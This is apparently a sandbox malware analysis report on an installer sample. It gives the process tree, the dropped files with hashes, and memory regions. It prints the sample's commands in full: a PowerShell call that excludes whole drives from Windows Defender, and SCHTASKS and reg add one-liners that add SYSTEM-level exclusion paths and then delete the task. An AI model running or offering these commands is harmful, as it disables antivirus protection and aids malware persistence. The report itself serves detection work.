Analysis

  • max time kernel
    150s
  • max time network
    121s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/08/2026, 02:23

General

  • Target
    install_h8.0.10.exe
  • Size 25.7MB
  • Sample260825-cvdvbawcpg
  • SHA256 40660a8bbc4603ec44b8e54c1a700dafd8e0b575cb0269ad848481f7d9fae529
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_h8.0.10.exe
    "C:\Users\Admin\AppData\Local\Temp\install_h8.0.10.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4608
  • C:\Users\Public\wTap9F\Iszx9v.exe
    "C:\Users\Public\wTap9F\Iszx9v.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5416
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2100
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\wTap9F\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4964
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\wTap9F\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4436
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4832
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3800
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4724
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:6068
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1408
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4456
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1616
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4304
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2600
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:484
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:3928
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5776
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:6004
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1152
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4652
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4924
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5796
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4768
                      • C:\Users\Public\wTap9F\Iszx9v.exe
                        "C:\Users\Public\wTap9F\Iszx9v.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:2848
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\wTap9F" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3404
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\wTap9F" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4252
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:1764
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2264
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:940
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3444
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:944
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4664
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4460

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              Iszx9v.exe

                              • Path C:\Users\Public\wTap9F\Iszx9v.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\wTap9F\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 498016edb68bb8d45445a4323ad584c264d7900a9979a94967115f9eca733029
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\wTap9F\adoresd.dat
                              • Size 4.7MB
                              • SHA256 3090df818fcd46c66238dd8c03dc1956ea3f7a4a2984fb7416b5c59df2867544
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\wTap9F\msadox.tb
                              • Size 8KB
                              • SHA256 3edd83961a9885daaeae8f6397e6d55a9cb1b43dcc57c7ed5e2f286d81a17a80
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2100-608-0x0000028B743D0000-0x0000028B743DA000-memory.dmp

                              memory/2100-607-0x0000028B74690000-0x0000028B74742000-memory.dmp

                              memory/2100-606-0x0000028B743B0000-0x0000028B743CE000-memory.dmp

                              memory/2100-603-0x0000028B74200000-0x0000028B74222000-memory.dmp

                              memory/2848-581-0x00007FFD2BBA0000-0x00007FFD2BBA2000-memory.dmp

                              memory/2848-589-0x000001A7F0970000-0x000001A7F11F7000-memory.dmp

                              memory/2848-576-0x000001A7F0970000-0x000001A7F11F7000-memory.dmp

                              memory/2848-590-0x00007FFD2BB90000-0x00007FFD2BB92000-memory.dmp

                              memory/2848-586-0x000001A7F0970000-0x000001A7F11F7000-memory.dmp

                              memory/2848-572-0x00007FFD08F20000-0x00007FFD0943E000-memory.dmp

                              memory/2848-587-0x000001A7F0970000-0x000001A7F11F7000-memory.dmp

                              memory/2848-583-0x000001A7F0970000-0x000001A7F11F7000-memory.dmp

                              memory/2848-588-0x000001A7F0970000-0x000001A7F11F7000-memory.dmp

                              memory/4608-524-0x00000000005B0000-0x00000000005BE000-memory.dmp

                              memory/4608-504-0x00007FFD20AA0000-0x00007FFD20AB2000-memory.dmp

                              memory/4608-2-0x00000000005C0000-0x00000000005CC000-memory.dmp

                              memory/4608-525-0x00007FFD20AA0000-0x00007FFD20AB2000-memory.dmp

                              memory/4608-0-0x00000000005B0000-0x00000000005BE000-memory.dmp

                              memory/4608-1-0x00000000005B0000-0x00000000005BE000-memory.dmp

                              memory/5416-545-0x0000019BCFFE0000-0x0000019BD0867000-memory.dmp

                              memory/5416-550-0x0000019BCFFE0000-0x0000019BD0867000-memory.dmp

                              memory/5416-563-0x0000019BCFFE0000-0x0000019BD0867000-memory.dmp

                              memory/5416-565-0x0000019BCFFE0000-0x0000019BD0867000-memory.dmp

                              memory/5416-566-0x0000019BCFFE0000-0x0000019BD0867000-memory.dmp

                              memory/5416-559-0x0000019BD0960000-0x0000019BD09EA000-memory.dmp

                              memory/5416-560-0x0000019BD0960000-0x0000019BD09EA000-memory.dmp

                              memory/5416-561-0x0000019BD0960000-0x0000019BD09EA000-memory.dmp

                              memory/5416-556-0x0000019BCF580000-0x0000019BCF5CE000-memory.dmp

                              memory/5416-557-0x0000019BD0960000-0x0000019BD09EA000-memory.dmp

                              memory/5416-546-0x0000019BCFFE0000-0x0000019BD0867000-memory.dmp

                              memory/5416-531-0x00007FFD08F20000-0x00007FFD0943E000-memory.dmp

                              memory/5416-544-0x0000019BCFFE0000-0x0000019BD0867000-memory.dmp

                              memory/5416-543-0x0000019BCFFE0000-0x0000019BD0867000-memory.dmp

                              memory/5416-602-0x0000019BCFFE0000-0x0000019BD0867000-memory.dmp

                              memory/5416-539-0x0000019BCFFE0000-0x0000019BD0867000-memory.dmp

                              memory/5416-538-0x00007FFD2BBA0000-0x00007FFD2BBA2000-memory.dmp

                              memory/5416-536-0x0000019BCFFE0000-0x0000019BD0867000-memory.dmp

                              memory/5416-530-0x00007FFD2BB90000-0x00007FFD2BB92000-memory.dmp